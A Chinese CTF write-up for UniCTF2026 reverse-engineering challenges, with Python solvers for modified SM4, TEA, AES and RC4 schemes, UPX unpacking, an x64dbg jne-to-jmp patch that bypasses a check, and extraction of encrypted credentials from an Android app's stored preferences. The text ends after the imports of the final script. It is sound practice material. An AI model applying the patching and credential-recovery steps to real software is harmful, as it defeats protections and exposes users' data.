跳至主要内容

UniCTF2026_WP

Reverse

c_polynomial

  • 这道题我一开始还以为是一道动态调试的题目,发现并不是,直接静态就可以看
  • 发现是一个道很综合的计算题
  • 丢给ai写出计算脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from fractions import Fraction
import struct

V5 = 0x400C0210000001

XORCODE = bytes([
0xD5,0x2A,0x00,0xD8,0xEC,0xF1,0x77,0x43,0x4D,0xC5,0xBC,0x9C,0xAB,
0x3A,0x65,0xD9,0x6B,0x1F,0x5D,0x3A,0x61,0x9B,0x9B,0xCC,0x39,0x2D,
0xCB,0x2A,0x1A,0xDA,0xFC,0xF6,0x65,0x1C,0x03,0x96,0xEF,0x86,0xE9,
0x6B,0x3D,0x90,0x37,0x51,0x03,0x63,0x36,0xC5,0xC3,0x8E,0x66,0x7D
])
assert len(XORCODE) == 52


def roots_from_mask(v5: int):
roots = []
for b in range(0x37):
if (v5 >> b) & 1:
roots.append(b - 37)
return roots

def solve_linear(A, b):
n = len(A)
m = len(A[0])
M = [list(map(Fraction, A[i])) + [Fraction(b[i])] for i in range(n)]

r = 0
piv = [-1] * m
for c in range(m):
pivot = None
for i in range(r, n):
if M[i][c] != 0:
pivot = i
break
if pivot is None:
continue
M[r], M[pivot] = M[pivot], M[r]
pv = M[r][c]
for j in range(c, m + 1):
M[r][j] /= pv
for i in range(n):
if i != r and M[i][c] != 0:
f = M[i][c]
for j in range(c, m + 1):
M[i][j] -= f * M[r][j]
piv[c] = r
r += 1
if r == n:
break

x = [Fraction(0)] * m
for c in range(m):
if piv[c] != -1:
x[c] = M[piv[c]][m]
return x

def poly_eval(coeffs, x: int) -> int:
p = 0
powx = 1
for a in coeffs:
p += a * powx
powx *= x
return p

def to_int32(x: int) -> int:
return ((x + 2**31) % 2**32) - 2**31

def to_int16(x: int) -> int:
return ((x + 2**15) % 2**16) - 2**15

def main():
roots = roots_from_mask(V5)
print("[+] roots (P(i)=0):", roots)
A, b = [], []
for r in roots:
A.append([r**k for k in range(9)])
b.append(0)
A.append([0]*8 + [1]); b.append(1)
A.append([0]*6 + [1,0,0]); b.append(44114)
A.append([0]*7 + [1,0]); b.append(-606)
coeffs_frac = solve_linear(A, b)
coeffs = [int(c) for c in coeffs_frac]
print("[+] coeffs a0..a8:", coeffs)
for i in range(-60, 60):
val = poly_eval(coeffs, i)
if -37 <= i <= 17:
bit = (V5 >> (i + 37)) & 1
if bit == 1:
assert val == 0, f"fail at {i}: expected 0 got {val}"
else:
assert val != 0, f"fail at {i}: expected nonzero got 0"
else:
assert val != 0, f"fail at {i}: expected nonzero got 0"
print("[+] range check OK")
a0,a1,a2,a3,a4,a5,a6,a7,a8 = coeffs
pack26 = struct.pack(
"<4i5h",
to_int32(a0), to_int32(a1), to_int32(a2), to_int32(a3),
to_int16(a4), to_int16(a5), to_int16(a6), to_int16(a7), to_int16(a8),
)
buf52 = pack26 + pack26
flag = bytes([buf52[i] ^ XORCODE[i] for i in range(52)])
print("[+] flag:", flag.decode("ascii", errors="replace"))
print("\n[+] numbers to input (scanf order):")
print(" ".join(str(x) for x in coeffs))

if __name__ == "__main__":
main()

c_sm4.py

  • 这道题打开ida发现根本分析不明白
  • 查了下壳是UPX的,用的最新版5.1
  • 发现官方脱壳器脱不了
  • 网上搜手动脱壳自己脱了
  • 然后发现是到魔改的SM4题目
  • 脚本找ai梭一个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
SBOX = [
0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
]
CK = [
0x00070e15,0x1c232a31,0x383f464d,0x545b6269,0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,0x30373e45,0x4c535a61,0x686f767d,0x848b9299,
0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,0x10171e25,0x2c333a41,0x484f565d,0x646b7279
]
# FK(来自 sub_40173B)
FK = [0xA3B1BAC7,0x56AA3352,0x677D919A,0xB27022E0]

def rotl(x,n): return ((x<<n)&0xffffffff) | (x>>(32-n))
def tau(a):
return (SBOX[(a>>24)&255]<<24) | (SBOX[(a>>16)&255]<<16) | (SBOX[(a>>8)&255]<<8) | SBOX[a&255]
def L(b): return b ^ rotl(b,2) ^ rotl(b,10) ^ rotl(b,18) ^ rotl(b,24)
def Lp(b): return b ^ rotl(b,13) ^ rotl(b,23)
def T(x): return L(tau(x))
def Tp(x): return Lp(tau(x))

def key_schedule(key16: bytes):
MK=[int.from_bytes(key16[i*4:(i+1)*4],'big') for i in range(4)]
K=[MK[i]^FK[i] for i in range(4)]
rk=[]
for i in range(32):
t=K[i+1]^K[i+2]^K[i+3]^CK[i]
K.append(K[i]^Tp(t))
rk.append(K[i+4])
return rk

def crypt_block(block16: bytes, rk):
X=[int.from_bytes(block16[i*4:(i+1)*4],'big') for i in range(4)]
for i in range(32):
t=X[i+1]^X[i+2]^X[i+3]^rk[i]
X.append(X[i]^T(t))
return b''.join(X[35-i].to_bytes(4,'big') for i in range(4))

def ecb_decrypt(ct: bytes, key16: bytes) -> bytes:
rk = key_schedule(key16)
rk = list(reversed(rk))
out = b''.join(crypt_block(ct[i:i+16], rk) for i in range(0,len(ct),16))
# PKCS#7 unpad
pad = out[-1]
return out[:-pad]

key = bytes.fromhex("0123456789ABCDEFFEDCBA9876543210")
ct = bytes.fromhex("e35d1c09d861670051587475dba013bfe253923f8571add70f63a674dbeb8f22")
pt = ecb_decrypt(ct, key)
print(pt.decode())

原神!启动!

  • 这道题需要用到Il2CppDumper把Assembly-CSharp.dll dump出来
  • 用dnSpy查看Assembly-CSharp
  • 发现方法并没有展示全面,但有参数
  • 通过询问ai可知,这道题需要用x64dbg动态调试
  • 截图 202601262057
  • 通过RVA来找相关的函数
  • 截图 202601262059
  • 通过这个应该可知钟离的偏移为0x68
  • 经过漫长的调试后发现,关键函数为
  • 截图 202601262126
  • 202601262126 1
  • (这个界面是插件自带的,我在做完题后去找别的dbg配置覆盖了下,写wp的时候发现不对劲,花了好多时间找到了这个插件,去吾爱下载最新版的x64dbg_tol_2025-12-22.7z即可)
  • 跳转即可
  • 找到
  • 截图 202601262127
  • 把jne改为jmp即可
  • 截图 202601262129

Strange_Py

  • 一个pyinstaller打包的exe
  • pyinstxtractor解包下
  • 去反编译encrypt.pyc
  • 发现反编译不全,但是发现了库tea缺失
  • 用pyi-archive_viewer PYZ.pyz,提取tea后
  • 依旧反编译不全,但可以看出是有另一个库Eencrypt
  • 在encrypt.exe_extracted文件夹中发现Eencrypt.cp39-win_amd64.pyd
  • 然后就是无尽的折磨,压根没以为会有加壳这一操作
  • 折磨半天发现有个upx加壳
  • 脱壳后丢进ida发现根本看不懂,只能寻找ai求助
  • 在ai的帮助下写出脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# decrypt_enc.py
import struct
import sys
from pathlib import Path

DELTA = 0x12345678
ROUNDS = 50
MASK = 0xFFFFFFFF

def tea_decrypt_block(v0: int, v1: int, k):
# encryption里 sum 从 0 开始,每轮 sum -= DELTA;共 50 轮
s = (-DELTA * ROUNDS) & MASK
for _ in range(ROUNDS):
# 先回滚 v1(因为加密里 v1 用的是更新后的 v0)
g = ((s + v0) & MASK) ^ ((k[3] - (v0 >> 5)) & MASK) ^ ((k[2] + ((v0 << 4) & MASK)) & MASK)
v1 = (v1 - g) & MASK

# 再回滚 v0(用回滚后的 v1)
f = ((s + v1) & MASK) ^ ((k[1] + (v1 >> 5)) & MASK) ^ ((k[0] + ((v1 << 4) & MASK)) & MASK)
v0 = (v0 - f) & MASK

s = (s + DELTA) & MASK
return v0, v1

def split_outer(ct: bytes):
L = len(ct)
tl = L % 16
cands = [tl] if tl != 0 else [16, 0] # 0 的时候同时试 16/0
for tail_len in cands:
if L < 16 + tail_len:
continue
bt = ct[: L - 16 - tail_len]
if len(bt) % 16 != 0:
continue
key = ct[L - 16 - tail_len : L - tail_len] if tail_len else ct[-16:]
tail = ct[-tail_len:] if tail_len else b""
return bt, key, tail_len, tail
raise ValueError("无法切分外层:bt 不是 16 的倍数?")

def decrypt(ct: bytes):
bt, key, tail_len, tail = split_outer(ct)
k = struct.unpack(">4I", key) # 这里用大端;与你 tea.py 的 int(hex,16) 顺序一致

out = bytearray()
for i in range(0, len(bt), 16):
c8 = bt[i:i+8]
n2 = bt[i+8:i+16]

v0, v1 = struct.unpack(">2I", c8)
p0, p1 = tea_decrypt_block(v0, v1, k)

x = struct.pack(">2I", p0, p1) # 还原出 xor 之后的 8 字节
out.extend(bytes(a ^ b for a, b in zip(x, n2))) # 再 xor 回原文
return bytes(out), key, tail_len

def main():
if len(sys.argv) < 2:
print("usage: python decrypt_enc.py <file.enc> [out.dec]")
sys.exit(1)

in_path = Path(sys.argv[1])
out_path = Path(sys.argv[2]) if len(sys.argv) >= 3 else in_path.with_suffix(".dec")

ct = in_path.read_bytes()
pt, key, tail_len = decrypt(ct)

out_path.write_bytes(pt)
print("[+] done")
print(" tail_len =", tail_len)
print(" key =", key.hex())
print(" out =", str(out_path))
print(" head =", pt[:8].hex(), " (ASCII:", pt[:2].decode('latin1', 'ignore'), ")")

if __name__ == "__main__":
main()

  • 然后就是用py -3.9 -c "import pefile;pe=pefile.PE('out.dec');print(hex(pe.FILE_HEADER.Machine), 'DLL' if pe.FILE_HEADER.Characteristics & 0x2000 else 'EXE')"
  • 发现是exe可执行程序,把dec后缀改为exe
  • 截图 202601262140
  • 这道题让我学到了pyd原来可以用upx加壳!

ezobf

  • 这道题并非ez
  • 折磨了我三天之久
  • 拖进ida进行短暂分析,可以知道sub_1400016D0为主函数
  • 发现f5报错,把相关问题和反汇编丢给ai后,生成了一个脚本,运行后就可以”正常“生成伪c了
  • 发现根本看不懂!
  • 控制流平坦化让我下手非常困难,找了网上许多资料和工具,也问了很多ai,发现根本不管用啊
  • 最后也是把__rdtsc反调试解决后,把c伪丢给了ai
  • 即使丢给ai,它也分析不出来完整加密,经过反复折磨,才磨成脚本,并成功得到flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ezobf.exe 解密脚本(Python3)

二进制里实现的是“魔改 AES-128”:
- 16 字节分组、10 轮、MixColumns/KeySchedule/Rcon 都是 AES 的那套
- 但 S-box 是自定义表
- 且每轮多做了一次 ShiftRows(最后一轮也做两次 ShiftRows)

本脚本:
1) 从 PE 里按 RVA 把 S-box / Rcon / 密文常量读出来
2) 按程序逻辑做 KeyExpansion
3) 逆向 10 轮把 32 字节密文解回明文并做 PKCS#7 去填充

用法:
python3 decrypt_flag_min.py ./ezobf.exe
"""

import struct
import sys

RVA_SBOX = 0xC080
RVA_RCON = 0xC180
RVA_CT = 0xC1C0 # 32 bytes
KEY = bytes(range(16))


def pe_sections(data: bytes):
if data[:2] != b"MZ":
raise ValueError("not PE")
e_lfanew = struct.unpack_from("<I", data, 0x3C)[0]
if data[e_lfanew:e_lfanew+4] != b"PE\0\0":
raise ValueError("not PE")

coff = e_lfanew + 4
_, nsec, _, _, _, opt_size, _ = struct.unpack_from("<HHIIIHH", data, coff)
opt = coff + 20

sec_off = opt + opt_size
secs = []
for i in range(nsec):
off = sec_off + 40*i
name = data[off:off+8].rstrip(b"\0").decode("ascii", "ignore")
vsize, vaddr, raw_size, raw_ptr = struct.unpack_from("<IIII", data, off+8)
secs.append((name, vaddr, max(vsize, raw_size), raw_ptr))
return secs


def rva2off(rva: int, secs):
for _, vaddr, span, raw_ptr in secs:
if vaddr <= rva < vaddr + span:
return raw_ptr + (rva - vaddr)
raise ValueError(f"RVA 0x{rva:x} not in any section")


def bs32(x: int) -> int:
return ((x & 0xFF) << 24) | ((x & 0xFF00) << 8) | ((x >> 8) & 0xFF00) | ((x >> 24) & 0xFF)


def rotword(w: int) -> int:
return ((w >> 8) | ((w & 0xFF) << 24)) & 0xFFFFFFFF


def subword(w: int, sbox: bytes) -> int:
return (sbox[w & 0xFF]
| (sbox[(w >> 8) & 0xFF] << 8)
| (sbox[(w >> 16) & 0xFF] << 16)
| (sbox[(w >> 24) & 0xFF] << 24))


def key_expansion(key: bytes, sbox: bytes, rcon_words):
w = [0]*44
for i in range(4):
w[i] = key[4*i] | (key[4*i+1] << 8) | (key[4*i+2] << 16) | (key[4*i+3] << 24)
for i in range(4, 44):
t = w[i-1]
if i % 4 == 0:
t = subword(rotword(t), sbox) ^ bs32(rcon_words[i//4 - 1])
w[i] = (w[i-4] ^ t) & 0xFFFFFFFF
return w


def rk_bytes(w, r: int) -> bytes:
out = bytearray()
for j in range(4):
x = w[4*r + j]
out += bytes([x & 0xFF, (x >> 8) & 0xFF, (x >> 16) & 0xFF, (x >> 24) & 0xFF])
return bytes(out)


def add_rk(state: bytes, rk: bytes) -> bytes:
return bytes(a ^ b for a, b in zip(state, rk))


def shiftrows(s: bytes) -> bytes:
s = list(s)
o = s[:]
o[1], o[5], o[9], o[13] = s[5], s[9], s[13], s[1]
o[2], o[6], o[10], o[14] = s[10], s[14], s[2], s[6]
o[3], o[7], o[11], o[15] = s[15], s[3], s[7], s[11]
return bytes(o)


def inv_shiftrows(s: bytes) -> bytes:
s = list(s)
o = s[:]
o[1], o[5], o[9], o[13] = s[13], s[1], s[5], s[9]
# row2 right2 == left2
o[2], o[6], o[10], o[14] = s[10], s[14], s[2], s[6]
o[3], o[7], o[11], o[15] = s[7], s[11], s[15], s[3]
return bytes(o)


def xtime(a: int) -> int:
a &= 0xFF
return (((a << 1) & 0xFF) ^ (0x1B if (a & 0x80) else 0))


def mixcolumns(state: bytes) -> bytes:
s = list(state)
out = [0]*16
for c in range(4):
a0, a1, a2, a3 = s[4*c:4*c+4]
t0, t1, t2, t3 = xtime(a0), xtime(a1), xtime(a2), xtime(a3)
out[4*c+0] = t0 ^ (t1 ^ a1) ^ a2 ^ a3
out[4*c+1] = a0 ^ t1 ^ (t2 ^ a2) ^ a3
out[4*c+2] = a0 ^ a1 ^ t2 ^ (t3 ^ a3)
out[4*c+3] = (t0 ^ a0) ^ a1 ^ a2 ^ t3
return bytes(x & 0xFF for x in out)


def gfmul(a: int, b: int) -> int:
a &= 0xFF
b &= 0xFF
r = 0
for _ in range(8):
if b & 1:
r ^= a
hi = a & 0x80
a = (a << 1) & 0xFF
if hi:
a ^= 0x1B
b >>= 1
return r & 0xFF


def inv_mixcolumns(state: bytes) -> bytes:
s = list(state)
out = [0]*16
for c in range(4):
a0, a1, a2, a3 = s[4*c:4*c+4]
out[4*c+0] = gfmul(a0,14) ^ gfmul(a1,11) ^ gfmul(a2,13) ^ gfmul(a3,9)
out[4*c+1] = gfmul(a0,9) ^ gfmul(a1,14) ^ gfmul(a2,11) ^ gfmul(a3,13)
out[4*c+2] = gfmul(a0,13) ^ gfmul(a1,9) ^ gfmul(a2,14) ^ gfmul(a3,11)
out[4*c+3] = gfmul(a0,11) ^ gfmul(a1,13) ^ gfmul(a2,9) ^ gfmul(a3,14)
return bytes(x & 0xFF for x in out)


def inv_sbox_table(sbox: bytes) -> bytes:
inv = [0]*256
for i, b in enumerate(sbox):
inv[b] = i
return bytes(inv)


def decrypt_block(ct16: bytes, rks, sbox: bytes, invs: bytes) -> bytes:
st = ct16
# round 10 (no MixColumns, but 有两次 ShiftRows)
st = add_rk(st, rks[10])
st = inv_shiftrows(st)
st = inv_shiftrows(st)
st = bytes(invs[b] for b in st)

# round 9..1
for r in range(9, 0, -1):
st = add_rk(st, rks[r])
st = inv_shiftrows(st)
st = inv_mixcolumns(st)
st = inv_shiftrows(st)
st = bytes(invs[b] for b in st)

# round 0
st = add_rk(st, rks[0])
return st


def unpad_pkcs7(p: bytes) -> bytes:
pad = p[-1]
if pad < 1 or pad > 16 or p[-pad:] != bytes([pad])*pad:
raise ValueError("bad padding")
return p[:-pad]


def main():
path = sys.argv[1] if len(sys.argv) > 1 else "ezobf.exe"
data = open(path, "rb").read()
secs = pe_sections(data)

sbox = data[rva2off(RVA_SBOX, secs): rva2off(RVA_SBOX, secs) + 256]
rcon = [struct.unpack_from("<I", data, rva2off(RVA_RCON, secs) + 4*i)[0] for i in range(10)]
ct = data[rva2off(RVA_CT, secs): rva2off(RVA_CT, secs) + 32]

w = key_expansion(KEY, sbox, rcon)
rks = [rk_bytes(w, i) for i in range(11)]
invs = inv_sbox_table(sbox)

pt = decrypt_block(ct[:16], rks, sbox, invs) + decrypt_block(ct[16:], rks, sbox, invs)
pt = unpad_pkcs7(pt)
print(pt.decode("utf-8", errors="replace"))


if __name__ == "__main__":
main()

r_png

  • 把enc丢进die
  • 截图 202601282104
  • ida可以正常分析
  • 依据经验就可以直接定位主函数
  • 然后把加密方式丢给ai,出脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import sys

def modified_rc4_decrypt(data, key):
"""
修改版的 RC4 解密函数
"""
# 1. KSA (Key-Scheduling Algorithm) 初始化
# 标准 RC4 初始化逻辑
s = list(range(256))
j = 0
key_bytes = [ord(c) for c in key]
key_len = len(key)

for i in range(256):
j = (j + s[i] + key_bytes[i % key_len]) % 256
s[i], s[j] = s[j], s[i]

# 2. PRGA (Pseudo-Random Generation Algorithm) 解密
res = bytearray()
i = 0
j = 0

# 为了提高速度,我们先只解密前 8 个字节
# 用来检查是否匹配 PNG 文件头
s_check = list(s) # 复制状态
i_check = 0
j_check = 0

# PNG 文件的魔数 (Magic Bytes)
png_header = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'
is_png = True

for k in range(8):
if k >= len(data): break
i_check = (i_check + 1) % 256
j_check = (j_check + s_check[i_check]) % 256
s_check[i_check], s_check[j_check] = s_check[j_check], s_check[i_check]

# === 关键修改点 ===
# 反汇编中的逻辑: buf_1[v13] ^= ... + 69;
# 所以生成的伪随机字节需要 + 69
keystream_byte = (s_check[(s_check[i_check] + s_check[j_check]) % 256] + 69) & 0xFF

if (data[k] ^ keystream_byte) != png_header[k]:
is_png = False
break

# 如果前8字节不匹配 PNG 头,直接返回 None,不浪费时间解密剩下的
if not is_png:
return None

# 如果匹配,执行完整解密
print(f"[+] 发现可能的密钥: {key},正在完整解密...")
for byte in data:
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]

# 同样的 +69 修改
keystream_byte = (s[(s[i] + s[j]) % 256] + 69) & 0xFF
res.append(byte ^ keystream_byte)

return res

def main():
filename = 'flagpngenc' # 这里改成你的加密文件名
output_filename = 'flag.png'

try:
with open(filename, 'rb') as f:
ciphertext = f.read()
except FileNotFoundError:
print(f"错误: 找不到文件 {filename}")
return

print(f"[*] 开始爆破 4 位数字密钥 (0000 - 9999)...")

# 遍历所有 4 位数字
for k in range(10000):
key = f"{k:04d}" # 格式化为 4 位,如 '0005'

decrypted_data = modified_rc4_decrypt(ciphertext, key)

if decrypted_data:
print(f"[+] 成功! 密钥是: {key}")
with open(output_filename, 'wb') as f_out:
f_out.write(decrypted_data)
print(f"[+] 解密文件已保存为: {output_filename}")
return

print("[-] 未找到正确的密钥,或者文件不是 PNG 图片。")

if __name__ == '__main__':
main()

r_zip

  • 流程和r_png一样
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Decompressor for the custom ".z" format produced by the provided `compress` binary.

Token format:
- Literal: 1 byte (default).
- Backref: 2 bytes when:
b1 in [0x80..0x90]
dist = ((b1 & 0x7F) << 4) | (b2 >> 4) # 1..256
length= b2 & 0x0F # 3..15
Copy `length` bytes from `dist` bytes back in output (overlap allowed).

To avoid ambiguity if a literal falls into 0x80..0x90, we only accept a backref when it is plausible:
(dist <= len(out)) and (3 <= length <= 15). Otherwise treat as literal.
"""

from __future__ import annotations
import sys
from pathlib import Path


def decompress(data: bytes) -> bytes:
out = bytearray()
i = 0
n = len(data)

while i < n:
b1 = data[i]

# Candidate backref header
if 0x80 <= b1 <= 0x90 and i + 1 < n:
b2 = data[i + 1]
dist = ((b1 & 0x7F) << 4) | (b2 >> 4)
length = b2 & 0x0F

if 1 <= dist <= len(out) and 3 <= length <= 15:
start = len(out) - dist
for _ in range(length):
out.append(out[start])
start += 1
i += 2
continue

# Literal byte
out.append(b1)
i += 1

return bytes(out)


def main(argv: list[str]) -> int:
if len(argv) != 3:
print(f"Usage: {argv[0]} <input.z> <output>", file=sys.stderr)
return 1

src = Path(argv[1]).read_bytes()
dst = decompress(src)
Path(argv[2]).write_bytes(dst)
return 0


if __name__ == "__main__":
raise SystemExit(main(sys.argv))

是人类吗?

  • 这道题需要反编译verify.wasm文件
  • 得到verify.wat
  • 丢ai,出脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python3
import re
import hashlib
from pathlib import Path

MUL = 6364136223846793005
ADD = 1442695040888963407
MASK64 = (1 << 64) - 1

def parse_wat_string(s: str) -> bytes:
# WAT 字符串:\xx 表示一个字节(十六进制),其他字符按 ASCII 原样
out = bytearray()
i = 0
while i < len(s):
if s[i] == "\\":
if i + 2 < len(s) and all(c in "0123456789abcdefABCDEF" for c in s[i+1:i+3]):
out.append(int(s[i+1:i+3], 16))
i += 3
else:
# 兼容 \n \t \r 等,题里主要是 \00 / \xx
esc = s[i+1] if i+1 < len(s) else ""
mapping = {"n": 10, "t": 9, "r": 13, "\\": 92, '"': 34, "0": 0}
out.append(mapping.get(esc, ord(esc) if esc else 0))
i += 2
else:
out.append(ord(s[i]))
i += 1
return bytes(out)

def extract_enc_from_wat(wat_path: str) -> bytes:
wat = Path(wat_path).read_text("utf-8", errors="ignore")
m = re.search(r'\(data .*?\(i32\.const 1024\) "([^"]+)"\)', wat, re.S)
if not m:
raise RuntimeError("找不到 data 段字符串,请确认是 wasm2wat 导出的 WAT。")
data_bytes = parse_wat_string(m.group(1))
enc = data_bytes[:46] # 前 46 字节是密文
return enc

def decrypt(enc: bytes, seed0: int) -> bytes:
s = seed0 & MASK64
out = bytearray()
for b in enc:
s = (s * MUL + ADD) & MASK64
k = (s >> 56) & 0xFF
out.append(b ^ k)
return bytes(out)

def check_prefix_seed(enc: bytes, seed0: int, prefix: bytes) -> bool:
# 仅验证前缀:等价于验证若干步 LCG 输出的最高字节
s = seed0 & MASK64
for i, ch in enumerate(prefix):
s = (s * MUL + ADD) & MASK64
if ((s >> 56) & 0xFF) != (enc[i] ^ ch):
return False
return True

def main():
# 你的文件名如果是 v.txt 就改成 "v.txt"
enc = extract_enc_from_wat("verify.wat")

prefix = b"UniCTF{"

found = None
# 合理小范围爆破(已验证 10 秒内出结果)
# A = floor(n*0.16), n>=50 => A>=8;一般 n 不会太大,先扫 8..32
# B = floor(totalLen/n),鼠标每步平均长度一般几十以内,先扫 0..30
# C,D 也是“抖动强度”的量化,常见也不会太大,先扫 0..200
for A in range(8, 33):
A_shift = A << 48
for B in range(0, 31):
AB = A_shift | (B << 32)
for C in range(0, 201):
ABC = AB | (C << 16)
for D in range(0, 201):
seed = ABC | D
if not check_prefix_seed(enc, seed, prefix):
continue
pt = decrypt(enc, seed)
if pt.startswith(b"UniCTF"):
found = (A, B, C, D, seed, pt)
break
if found: break
if found: break
if found: break

if not found:
raise RuntimeError("没找到结果:可适当扩大爆破范围。")

A, B, C, D, seed, pt = found
plain = pt.decode("utf-8", errors="replace")
ssum = A + B + C + D
md5 = hashlib.md5((plain + str(ssum)).encode()).hexdigest()
final_flag = f"UniCTF{{{md5}}}"

print("[+] plaintext:", plain)
print("[+] bio features: A=%d, B=%d, C=%d, D=%d" % (A, B, C, D))
print("[+] sum:", ssum)
print("[+] seed(hex):", hex(seed))
print("[+] final flag:", final_flag)

if __name__ == "__main__":
main()

catPwd

  • 说实话这道题归为简单我不是很理解
  • 我认为挺难的,这道题我还是凭运气出来的
  • 把apk安装到模拟器上发现是个登录界面
  • 然后解压apk和把apk丢到jadx
  • 经过分析和搜索并问ai可以猜测到路径为/data/data/com.CACX.EVEchaos/shared_prefs/com.CACX.EVEchaos.v2.playerprefs.xml
  • 这个路径可能也是我libil2cpp.so丢到ida后检查相关函数,丢给ai,才猜测出的路径
  • 然后就可以得到加密后的qq和密码
  • 用Il2CppDumper可以出Assembly-CSharp.dll
  • Assembly-CSharp.dll丢dnSpy
  • 然后把libil2cpp.so丢到ida,用Il2CppDumper自带的脚本可以自动分析出Assembly-CSharp.dll的相应函数
  • 然后经过漫长的分析发现salt静态分析怎么都得不到
  • 然后最逆天的来了,我是跟ai一起分析它
  • 它直接把salt搜出来了!如果不是它给我,我可能还要很麻烦的去动态调式
  • 截图 202601282114
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import base64
import urllib.parse
from Crypto.Cipher import AES
